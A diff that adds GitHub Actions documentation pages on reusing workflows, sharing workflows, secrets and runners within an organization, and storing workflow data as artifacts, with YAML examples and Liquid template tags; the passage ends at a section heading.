+intro: Learn how to avoid duplication when creating a workflow by reusing existing workflows.
+redirect_from:
+  - /actions/learn-github-actions/reusing-workflows
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.4'
+  ghae: '>= 3.4'
+type: how_to
+topics:
+  - Workflows
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.reusable-workflows-ghes-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Overview
+
+Rather than copying and pasting from one workflow to another, you can make workflows reusable. You and anyone with access to the reusable workflow can then call the reusable workflow from another workflow.
+
+Reusing workflows avoids duplication. This makes workflows easier to maintain and allows you to create new workflows more quickly by building on the work of others, just as you do with actions. Workflow reuse also promotes best practice by helping you to use workflows that are well designed, have already been tested, and have been proven to be effective. Your organization can build up a library of reusable workflows that can be centrally maintained.
+
+The diagram below shows an in-progress workflow run that uses a reusable workflow.
+
+* After each of three build jobs on the left of the diagram completes successfully, a dependent job called "Deploy" is run.
+* The "Deploy" job calls a reusable workflow that contains three jobs: "Staging", "Review", and "Production."
+* The "Production" deployment job only runs after the "Staging" job has completed successfully.
+* When a job targets an environment, the workflow run displays a progress bar that shows the number of steps in the job. In the diagram below, the "Production" job contains 8 steps, with step 6 currently being processed.
+* Using a reusable workflow to run deployment jobs allows you to run those jobs for each build without duplicating code in workflows.
+
+![Diagram of a reusable workflow for deployment](/assets/images/help/images/reusable-workflows-ci-cd.png)
+
+A workflow that uses another workflow is referred to as a "caller" workflow. The reusable workflow is a "called" workflow. One caller workflow can use multiple called workflows. Each called workflow is referenced in a single line. The result is that the caller workflow file may contain just a few lines of YAML, but may perform a large number of tasks when it's run. When you reuse a workflow, the entire called workflow is used, just as if it was part of the caller workflow.
+
+If you reuse a workflow from a different repository, any actions in the called workflow run as if they were part of the caller workflow. For example, if the called workflow uses `actions/checkout`, the action checks out the contents of the repository that hosts the caller workflow, not the called workflow.
+
+When a reusable workflow is triggered by a caller workflow, the `github` context is always associated with the caller workflow. The called workflow is automatically granted access to `github.token` and `secrets.GITHUB_TOKEN`. For more information about the `github` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)."
+
+You can view the reused workflows referenced in your {% data variables.product.prodname_actions %} workflows as dependencies in the dependency graph of the repository containing your workflows. For more information, see “[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).”
+
+### Reusable workflows and starter workflows
+
+Starter workflows allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When people create a new workflow, they can choose a starter workflow and some or all of the work of writing the workflow will be done for them. Within a starter workflow, you can also reference reusable workflows to make it easy for people to benefit from reusing centrally managed workflow code. If you use a commit SHA when referencing the reusable workflow, you can ensure that everyone who reuses that workflow will always be using the same YAML code. However, if you reference a reusable workflow by a tag or branch, be sure that you can trust that version of the workflow. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows)."
+
+For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
+
+## Access to reusable workflows
+
+A reusable workflow can be used by another workflow if {% ifversion ghes or ghec or ghae %}any{% else %}either{% endif %} of the following is true:
+
+* Both workflows are in the same repository.
+* The called workflow is stored in a public repository{% ifversion actions-workflow-policy %}, and your {% ifversion ghec %}enterprise{% else %}organization{% endif %} allows you to use public reusable workflows{% endif %}.{% ifversion ghes or ghec or ghae %}
+* The called workflow is stored in an internal repository and the settings for that repository allow it to be accessed. For more information, see {% ifversion internal-actions %}"[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise){% else %}"[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository){% endif %}."{% endif %}
+
+## Using runners
+
+{% ifversion fpt or ghes or ghec %}
+
+### Using GitHub-hosted runners
+
+The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
+
+### Using self-hosted runners
+
+{% endif %}
+
+Called workflows that are owned by the same user or organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %} as the caller workflow can access self-hosted runners from the caller's context. This means that a called workflow can access self-hosted runners that are:
+* In the caller repository
+* In the caller repository's organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %}, provided that the runner has been made available to the caller repository
+
+## Limitations
+
+{% ifversion nested-reusable-workflow %}
+* You can connect up to four levels of workflows. For more information, see "[Nesting reusable workflows](#nesting-reusable-workflows)."
+{% else %}
+* Reusable workflows can't call other reusable workflows.
+{% endif %}
+* Reusable workflows stored within a private repository can only be used by workflows within the same repository.
+* Any environment variables set in an `env` context defined at the workflow level in the caller workflow are not propagated to the called workflow. For more information about the `env` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)."{% ifversion actions-reusable-workflow-matrix %}{% else %}
+* The `strategy` property is not supported in any job that calls a reusable workflow.{% endif %}
+
+## Creating a reusable workflow
+
+Reusable workflows are YAML-formatted files, very similar to any other workflow file. As with other workflow files, you locate reusable workflows in the `.github/workflows` directory of a repository. Subdirectories of the `workflows` directory are not supported.
+
+For a workflow to be reusable, the values for `on` must include `workflow_call`:
+
+```yaml
+on:
+  workflow_call:
+```
+
+### Using inputs and secrets in a reusable workflow
+
+You can define inputs and secrets, which can be passed from the caller workflow and then used within the called workflow. There are three stages to using an input or a secret in a reusable workflow.
+
+1. In the reusable workflow, use the `inputs` and `secrets` keywords to define inputs or secrets that will be passed from a caller workflow.
+   {% raw %}
+   ```yaml
+   on:
+     workflow_call:
+       inputs:
+         config-path:
+           required: true
+           type: string
+       secrets:
+         envPAT:
+           required: true
+   ```
+   {% endraw %}
+   For details of the syntax for defining inputs and secrets, see [`on.workflow_call.inputs`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs) and [`on.workflow_call.secrets`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callsecrets).
+   {% ifversion actions-inherit-secrets-reusable-workflows %}
+1. In the reusable workflow, reference the input or secret that you defined in the `on` key in the previous step.
+
+   {% note %}
+
+   **Note**: If the secrets are inherited by using `secrets: inherit` in the calling workflow, you can reference them even if they are not explicitly defined in the `on` key. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit)."
+
+   {% endnote %}
+   {%- else %}
+1. In the reusable workflow, reference the input or secret that you defined in the `on` key in the previous step.
+   {%- endif %}
+
+   {% raw %}
+   ```yaml
+   jobs:
+     reusable_workflow_job:
+       runs-on: ubuntu-latest
+       environment: production
+       steps:
+       - uses: actions/labeler@v4
+         with:
+           repo-token: ${{ secrets.envPAT }}
+           configuration-path: ${{ inputs.config-path }}
+   ```
+   {% endraw %}
+   In the example above, `envPAT` is an environment secret that's been added to the `production` environment. This environment is therefore referenced within the job.
+
+   {% note %}
+
+   **Note**: Environment secrets are encrypted strings that are stored in an environment that you've defined for a repository. Environment secrets are only available to workflow jobs that reference the appropriate environment. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)."
+
+   {% endnote %}
+
+1. Pass the input or secret from the caller workflow.
+
+{% indented_data_reference reusables.actions.pass-inputs-to-reusable-workflows spaces=3 %}
+
+### Example reusable workflow
+
+This reusable workflow file named `workflow-B.yml` (we'll refer to this later in the [example caller workflow](#example-caller-workflow)) takes an input string and a secret from the caller workflow and uses them in an action.
+
+{% raw %}
+```yaml{:copy}
+name: Reusable workflow example
+
+on:
+  workflow_call:
+    inputs:
+      config-path:
+        required: true
+        type: string
+    secrets:
+      token:
+        required: true
+
+jobs:
+  triage:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/labeler@v4
+      with:
+        repo-token: ${{ secrets.token }}
+        configuration-path: ${{ inputs.config-path }}
+```
+{% endraw %}
+
+## Calling a reusable workflow
+
+You call a reusable workflow by using the `uses` keyword. Unlike when you are using actions within a workflow, you call reusable workflows directly within a job, and not from within job steps.
+
+[`jobs.<job_id>.uses`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_iduses)
+
+You reference reusable workflow files using {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}one of the following syntaxes:{% else %}the syntax:{% endif %}
+
+{% data reusables.actions.reusable-workflow-calling-syntax %}
+
+You can call multiple workflows, referencing each in a separate job.
+
+{% data reusables.actions.uses-keyword-example %}
+
+### Passing inputs and secrets to a reusable workflow
+
+{% data reusables.actions.pass-inputs-to-reusable-workflows%}
+
+{% ifversion actions-reusable-workflow-matrix %}
+### Using a matrix strategy with a reusable workflow
+
+Jobs using the matrix strategy can call a reusable workflow.
+
+A matrix strategy lets you use variables in a single job definition to automatically create multiple job runs that are based on the combinations of the variables. For example, you can use a matrix strategy to pass different inputs to a reusable workflow. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
+
+This example job below calls a reusable workflow and references the matrix context by defining the variable `target` with the values `[dev, stage, prod]`. It will run three jobs, one for each value in the variable.
+
+{% raw %}
+```yaml{:copy}
+jobs:
+  ReuseableMatrixJobForDeployment:
+    strategy:
+      matrix:
+        target: [dev, stage, prod]
+    uses: octocat/octo-repo/.github/workflows/deployment.yml@main
+    with:
+      target: ${{ matrix.target }}
+```
+{% endraw %}
+{% endif %}
+
+### Supported keywords for jobs that call a reusable workflow
+
+When you call a reusable workflow, you can only use the following keywords in the job containing the call:
+
+* [`jobs.<job_id>.name`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idname)
+* [`jobs.<job_id>.uses`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_iduses)
+* [`jobs.<job_id>.with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idwith)
+* [`jobs.<job_id>.with.<input_id>`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idwithinput_id)
+* [`jobs.<job_id>.secrets`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsecrets)
+* [`jobs.<job_id>.secrets.<secret_id>`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsecretssecret_id)
+{%- ifversion actions-inherit-secrets-reusable-workflows %}
+* [`jobs.<job_id>.secrets.inherit`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit)
+{%- endif %}
+{%- ifversion actions-reusable-workflow-matrix %}
+* [`jobs.<job_id>.strategy`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategy)
+{%- endif %}
+* [`jobs.<job_id>.needs`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)
+* [`jobs.<job_id>.if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif)
+* [`jobs.<job_id>.permissions`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idpermissions)
+* [`jobs.<job_id>.concurrency`](/actions/reference/workflow-syntax-for-github-actions#concurrency)
+
+   {% note %}
+
+   **Note:**
+
+   * If `jobs.<job_id>.permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+   * The `GITHUB_TOKEN` permissions passed from the caller workflow can be only downgraded (not elevated) by the called workflow.
+
+   {% endnote %}
+
+### Example caller workflow
+
+This workflow file calls two workflow files. The second of these, `workflow-B.yml` (shown in the [example reusable workflow](#example-reusable-workflow)), is passed an input (`config-path`) and a secret (`token`).
+
+{% raw %}
+```yaml{:copy}
+name: Call a reusable workflow
+
+on:
+  pull_request:
+    branches:
+      - main
+
+jobs:
+  call-workflow:
+    uses: octo-org/example-repo/.github/workflows/workflow-A.yml@v1
+
+  call-workflow-passing-data:
+    permissions:
+      contents: read
+      pull-requests: write
+    uses: octo-org/example-repo/.github/workflows/workflow-B.yml@main
+    with:
+      config-path: .github/labeler.yml
+    secrets:
+      token: ${{ secrets.GITHUB_TOKEN }}
+```
+{% endraw %}
+
+{% ifversion nested-reusable-workflow %}
+## Nesting reusable workflows
+
+You can connect a maximum of four levels of workflows - that is, the top-level caller workflow and up to three levels of reusable workflows. For example: _caller-workflow.yml_ → _called-workflow-1.yml_ → _called-workflow-2.yml_ → _called-workflow-3.yml_. Loops in the workflow tree are not permitted.
+
+From within a reusable workflow you can call another reusable workflow.
+
+{% raw %}
+```yaml{:copy}
+name: Reusable workflow
+
+on:
+  workflow_call:
+
+jobs:
+  call-another-reusable:
+    uses: octo-org/example-repo/.github/workflows/another-reusable.yml@v1
+```
+{% endraw %}
+
+### Passing secrets to nested workflows
+
+You can use `jobs.<job_id>.secrets` in a calling workflow to pass named secrets to a directly called workflow. Alternatively, you can use `jobs.<job_id>.secrets.inherit` to pass all of the calling workflow's secrets to a directly called workflow. For more information, see the section "[Passing inputs and secrets to a reusable workflow](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow)" above, and the reference article "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit)." Secrets are only passed to directly called workflow, so in the workflow chain A > B > C, workflow C will only receive secrets from A if they have been passed from A to B, and then from B to C.
+
+In the following example, workflow A passes all of its secrets to workflow B, by using the `inherit` keyword, but workflow B only passes one secret to workflow C. Any of the other secrets passed to workflow B are not available to workflow C.
+
+{% raw %}
+```yaml
+jobs:
+  workflowA-calls-workflowB:
+    uses: octo-org/example-repo/.github/workflows/B.yml@main
+    secrets: inherit # pass all secrets
+```
+
+```yaml
+jobs:
+  workflowB-calls-workflowC:
+    uses: different-org/example-repo/.github/workflows/C.yml@main
+    secrets:
+      envPAT: ${{ secrets.envPAT }} # pass just this secret
+```
+{% endraw %}
+
+### Access and permissions
+
+A workflow that contains nested reusable workflows will fail if any of the nested workflows is inaccessible to the initial caller workflow. For more information, see "[Access to reusable workflows](/actions/using-workflows/reusing-workflows#access-to-reusable-workflows)."
+
+`GITHUB_TOKEN` permissions can only be the same or more restrictive in nested workflows. For example, in the workflow chain A > B > C, if workflow A has `package: read` token permission, then B and C cannot have `package: write` permission. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)."
+
+For information on how to use the API to determine which workflow files were involved in a particular workflow run, see "[Monitoring which workflows are being used](#monitoring-which-workflows-are-being-used)."
+{% endif %}
+
+## Using outputs from a reusable workflow
+
+A reusable workflow may generate data that you want to use in the caller workflow. To use these outputs, you must specify them as the outputs of the reusable workflow.{% ifversion actions-reusable-workflow-matrix %}
+
+If a reusable workflow that sets an output is executed with a matrix strategy, the output will be the output set by the last successful completing reusable workflow of the matrix which actually sets a value.
+That means if the last successful completing reusable workflow sets an empty string for its output, and the second last successful completing reusable workflow sets an actual value for its output, the output will contain the value of the second last completing reusable workflow.{% endif %}
+
+The following reusable workflow has a single job containing two steps. In each of these steps we set a single word as the output: "hello" and "world." In the `outputs` section of the job, we map these step outputs to job outputs called: `output1` and `output2`. In the `on.workflow_call.outputs` section we then define two outputs for the workflow itself, one called `firstword` which we map to `output1`, and one called `secondword` which we map to `output2`.
+
+{% raw %}
+```yaml{:copy}
+name: Reusable workflow
+
+on:
+  workflow_call:
+    # Map the workflow outputs to job outputs
+    outputs:
+      firstword:
+        description: "The first output string"
+        value: ${{ jobs.example_job.outputs.output1 }}
+      secondword:
+        description: "The second output string"
+        value: ${{ jobs.example_job.outputs.output2 }}
+
+jobs:
+  example_job:
+    name: Generate output
+    runs-on: ubuntu-latest
+    # Map the job outputs to step outputs
+    outputs:
+      output1: ${{ steps.step1.outputs.firstword }}
+      output2: ${{ steps.step2.outputs.secondword }}
+    steps:
+      - id: step1{% endraw %}
+{%- ifversion actions-save-state-set-output-envs %}
+        run: echo "firstword=hello" >> $GITHUB_OUTPUT
+{%- else %}
+        run: echo "::set-output name=firstword::hello"
+{%- endif %}{% raw %}
+      - id: step2{% endraw %}
+{%- ifversion actions-save-state-set-output-envs %}
+        run: echo "secondword=world" >> $GITHUB_OUTPUT
+{%- else %}
+        run: echo "::set-output name=secondword::world"
+{%- endif %}{% raw %}
+```
+{% endraw %}
+
+We can now use the outputs in the caller workflow, in the same way you would use the outputs from a job within the same workflow. We reference the outputs using the names defined at the workflow level in the reusable workflow: `firstword` and `secondword`. In this workflow, `job1` calls the reusable workflow and `job2` prints the outputs from the reusable workflow ("hello world") to standard output in the workflow log.
+
+{% raw %}
+```yaml{:copy}
+name: Call a reusable workflow and use its outputs
+
+on:
+  workflow_dispatch:
+
+jobs:
+  job1:
+    uses: octo-org/example-repo/.github/workflows/called-workflow.yml@v1
+
+  job2:
+    runs-on: ubuntu-latest
+    needs: job1
+    steps:
+      - run: echo ${{ needs.job1.outputs.firstword }} ${{ needs.job1.outputs.secondword }}
+```
+{% endraw %}
+
+For more information on using job outputs, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs)."
+
+## Monitoring which workflows are being used
+
+You can use the {% data variables.product.prodname_dotcom %} REST API to monitor how reusable workflows are being used. The `prepared_workflow_job` audit log action is triggered when a workflow job is started. Included in the data recorded are:
+* `repo` - the organization/repository where the workflow job is located. For a job that calls another workflow, this is the organization/repository of the caller workflow.
+* `@timestamp` - the date and time that the job was started, in Unix epoch format.
+* `job_name` - the name of the job that was run.
+{% ifversion nested-reusable-workflow %}
+* `calling_workflow_refs` - an array of file paths for all the caller workflows involved in this workflow job. The items in the array are in the reverse order that they were called in. For example, in a chain of workflows A > B > C, when viewing the logs for a job in workflow C, the array would be `["octo-org/octo-repo/.github/workflows/B.yml", "octo-org/octo-repo/.github/workflows/A.yml"]`.
+* `calling_workflow_shas` - an array of SHAs for all the caller workflows involved in this workflow job. The array contains the same number of items, in the same order, as the `calling_workflow_refs` array. {% endif %}
+* `job_workflow_ref` - the workflow file that was used, in the form `{owner}/{repo}/{path}/{filename}@{ref}`. For a job that calls another workflow, this identifies the called workflow.
+
+For information about using the REST API to query the audit log for an organization, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)."
+
+{% note %}
+
+**Note**: Audit data for `prepared_workflow_job` can only be viewed using the REST API. It is not visible in the {% data variables.product.prodname_dotcom %} web interface, or included in JSON/CSV exported audit data.
+
+{% endnote %}
+
+{% ifversion partial-reruns-with-reusable %}
+
+## Re-running workflows and jobs with reusable workflows
+
+{% data reusables.actions.partial-reruns-with-reusable %}
+
+{% endif %}
+
+## Next steps
+
+To continue learning about {% data variables.product.prodname_actions %}, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows)."
+
+{% ifversion restrict-groups-to-workflows %}You can standardize deployments by creating a self-hosted runner group that can only execute a specific reusable workflow. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."{% endif %}
diff --git a/translations/de-DE/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md b/translations/de-DE/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md
new file mode 100644
index 0000000000..6d56152317
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md
@@ -0,0 +1,73 @@
+---
+title: 'Sharing workflows, secrets, and runners with your organization'
+shortTitle: Share workflows with your organization
+intro: 'Learn how you can use organization features to collaborate with your team, by sharing starter workflows, secrets, and self-hosted runners.'
+redirect_from:
+  - /actions/learn-github-actions/sharing-workflows-with-your-organization
+  - /actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Overview
+
+If you need to share workflows and other {% data variables.product.prodname_actions %} features with your team, then consider collaborating within a {% data variables.product.prodname_dotcom %} organization. An organization allows you to centrally store and manage secrets, artifacts, and self-hosted runners. You can also create starter workflows in the `.github` repository and share them with other users in your organization.
+
+## Sharing {% ifversion internal-actions %}actions and {% endif %}workflows
+
+{% ifversion internal-actions %}
+You can share both individual actions and entire workflows with your organization, with or without publishing the actions or workflows publicly. You can reuse actions and workflows exactly by referencing them in your workflow file, and you can create starter workflows that provide templates for new workflows.
+{% else %}
+Your organization can share workflows by reusing the workflows exactly or by creating starter workflows that provide templates for new workflows.
+{% endif %}
+
+{% ifversion internal-actions %}
+### Sharing actions with your enterprise
+
+{% data reusables.actions.internal-actions-summary %}
+{% endif %}
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+### Reusing workflows
+
+{% data reusables.actions.reusable-workflows %}
+{% endif %}
+
+### Using starter workflows
+
+{% data reusables.actions.workflow-organization-templates %} For more information, see "[Creating starter workflows for your organization](/actions/using-workflows/creating-starter-workflows-for-your-organization)."
+
+## Sharing secrets within an organization
+
+You can centrally manage your secrets within an organization, and then make them available to selected repositories. This also means that you can update a secret in one location, and have the change apply to all repository workflows that use the secret.
+
+When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+
+{% data reusables.actions.permissions-statement-secrets-organization %}
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.actions.sidebar-secret %}
+1. Click **New secret**.
+1. Type a name for your secret in the **Name** input box.
+1. Enter the **Value** for your secret.
+1. From the **Repository access** dropdown list, choose an access policy.
+1. Click **Add secret**.
+
+## Share self-hosted runners within an organization
+
+Organization admins can add their self-hosted runners to groups, and then create policies that control which repositories can access the group.
+
+For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+
+
+## Next steps
+
+To continue learning about {% data variables.product.prodname_actions %}, see "[Creating starter workflows for your organization](/actions/using-workflows/creating-starter-workflows-for-your-organization)."
diff --git a/translations/de-DE/content/actions/using-workflows/storing-workflow-data-as-artifacts.md b/translations/de-DE/content/actions/using-workflows/storing-workflow-data-as-artifacts.md
new file mode 100644
index 0000000000..0be100e2ea
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/storing-workflow-data-as-artifacts.md
@@ -0,0 +1,260 @@
+---
+title: Storing workflow data as artifacts
+shortTitle: Store artifacts
+intro: Artifacts allow you to share data between jobs in a workflow and store data once that workflow has completed.
+redirect_from:
+  - /articles/persisting-workflow-data-using-artifacts
+  - /github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts
+  - /actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts
+  - /actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts
+  - /actions/guides/storing-workflow-data-as-artifacts
+  - /actions/advanced-guides/storing-workflow-data-as-artifacts
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About workflow artifacts
+
+Artifacts allow you to persist data after a job has completed, and share that data with another job in the same workflow. An artifact is a file or collection of files produced during a workflow run. For example, you can use artifacts to save your build and test output after a workflow run has ended. {% data reusables.actions.reusable-workflow-artifacts %}
+
+{% data reusables.actions.artifact-log-retention-statement %} The retention period for a pull request restarts each time someone pushes a new commit to the pull request.
+
+These are some of the common artifacts that you can upload:
+
+- Log files and core dumps
+- Test results, failures, and screenshots
+- Binary or compressed files
+- Stress test performance output and code coverage results
+
+{% ifversion fpt or ghec %}
+
+Storing artifacts uses storage space on {% data variables.product.product_name %}. {% data reusables.actions.actions-billing %} For more information, see "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)."
+
+{% else %}
+
+Artifacts consume storage space on the external blob storage that is configured for {% data variables.product.prodname_actions %} on {% data variables.location.product_location %}.
+
+{% endif %}
+
+Artifacts are uploaded during a workflow run, and you can view an artifact's name and size in the UI. When an artifact is downloaded using the {% data variables.product.product_name %} UI, all files that were individually uploaded as part of the artifact get zipped together into a single file. This means that billing is calculated based on the size of the uploaded artifact and not the size of the zip file.
+
+{% data variables.product.product_name %} provides two actions that you can use to upload and download build artifacts. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.location.product_location %}{% endif %}.
+
+To share data between jobs:
+
+* **Uploading files**: Give the uploaded file a name and upload the data before the job ends.
+* **Downloading files**: You can only download artifacts that were uploaded during the same workflow run. When you download a file, you can reference it by name.
+
+The steps of a job share the same environment on the runner machine, but run in their own individual processes. To pass data between steps in a job, you can use inputs and outputs. For more information about inputs and outputs, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)."
+
+{% ifversion actions-caching %}
+
+{% data reusables.actions.comparing-artifacts-caching %}
+
+For more information on dependency caching, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#comparing-artifacts-and-dependency-caching)."
+
+{% endif %}
+
+## Uploading build and test artifacts
+
+You can create a continuous integration (CI) workflow to build and test your code. For more information about using {% data variables.product.prodname_actions %} to perform CI, see "[About continuous integration](/articles/about-continuous-integration)."
+
+The output of building and testing your code often produces files you can use to debug test failures and production code that you can deploy. You can configure a workflow to build and test the code pushed to your repository and report a success or failure status. You can upload the build and test output to use for deployments, debugging failed tests or crashes, and viewing test suite coverage.
+
+You can use the `upload-artifact` action to upload artifacts. When uploading an artifact, you can specify a single file or directory, or multiple files or directories. You can also exclude certain files or directories, and use wildcard patterns. We recommend that you provide a name for an artifact, but if no name is provided then `artifact` will be used as the default name. For more information on syntax, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) action{% else %} `actions/upload-artifact` action on {% data variables.location.product_location %}{% endif %}.
+
+### Example
+
+For example, your repository or a web application might contain SASS and TypeScript files that you must convert to CSS and JavaScript. Assuming your build configuration outputs the compiled files in the `dist` directory, you would deploy the files in the `dist` directory to your web application server if all tests completed successfully.
+
+```
+|-- hello-world (repository)
+|   └── dist
+|   └── tests
+|   └── src
+|       └── sass/app.scss
+|       └── app.ts
+|   └── output
+|       └── test
+|   
+```
+
+This example shows you how to create a workflow for a Node.js project that builds the code in the `src` directory and runs the tests in the `tests` directory. You can assume that running `npm test` produces a code coverage report named `code-coverage.html` stored in the `output/test/` directory.
+
+The workflow uploads the production artifacts in the `dist` directory, but excludes any markdown files. It also uploads the `code-coverage.html` report as another artifact.
+
+```yaml{:copy}
+name: Node CI
+
+on: [push]
+
+jobs:
+  build_and_test:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout repository
+        uses: {% data reusables.actions.action-checkout %}
+      - name: npm install, build, and test
+        run: |
+          npm install
+          npm run build --if-present
+          npm test
+      - name: Archive production artifacts
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: dist-without-markdown
+          path: |
+            dist
+            !dist/**/*.md
+      - name: Archive code coverage results
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: code-coverage-report
+          path: output/test/code-coverage.html
+```
+
+## Configuring a custom artifact retention period
+
+You can define a custom retention period for individual artifacts created by a workflow. When using a workflow to create a new artifact, you can use `retention-days` with the `upload-artifact` action. This example demonstrates how to set a custom retention period of 5 days for the artifact named `my-artifact`:
+
+```yaml{:copy}
+  - name: 'Upload Artifact'
+    uses: {% data reusables.actions.action-upload-artifact %}
+    with:
+      name: my-artifact
+      path: my_file.txt
+      retention-days: 5
+```
+
+The `retention-days` value cannot exceed the retention limit set by the repository, organization, or enterprise.
+
+## Downloading or deleting artifacts
+
+During a workflow run, you can use the [`download-artifact`](https://github.com/actions/download-artifact) action to download artifacts that were previously uploaded in the same workflow run.
+
+After a workflow run has been completed, you can download or delete artifacts on {% data variables.product.prodname_dotcom %} or using the REST API. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)," "[Removing workflow artifacts](/actions/managing-workflow-runs/removing-workflow-artifacts)," and the "[Artifacts REST API](/rest/reference/actions#artifacts)."
+
+### Downloading artifacts during a workflow run
+
+The [`actions/download-artifact`](https://github.com/actions/download-artifact) action can be used to download previously uploaded artifacts during a workflow run.
+
+{% note %}
+
+**Note:** You can only download artifacts in a workflow that were uploaded during the same workflow run.
+
+{% endnote %}
+
+Specify an artifact's name to download an individual artifact. If you uploaded an artifact without specifying a name, the default name is `artifact`.
+
+```yaml
+- name: Download a single artifact
+  uses: {% data reusables.actions.action-download-artifact %}
+  with:
+    name: my-artifact
+```
+
+You can also download all artifacts in a workflow run by not specifying a name. This can be useful if you are working with lots of artifacts.
+
+```yaml
+- name: Download all workflow run artifacts
+  uses: {% data reusables.actions.action-download-artifact %}
+```
+
+If you download all workflow run's artifacts, a directory for each artifact is created using its name.
+
+For more information on syntax, see the {% ifversion fpt or ghec %}[actions/download-artifact](https://github.com/actions/download-artifact) action{% else %} `actions/download-artifact` action on {% data variables.location.product_location %}{% endif %}.
+
+## Passing data between jobs in a workflow
+
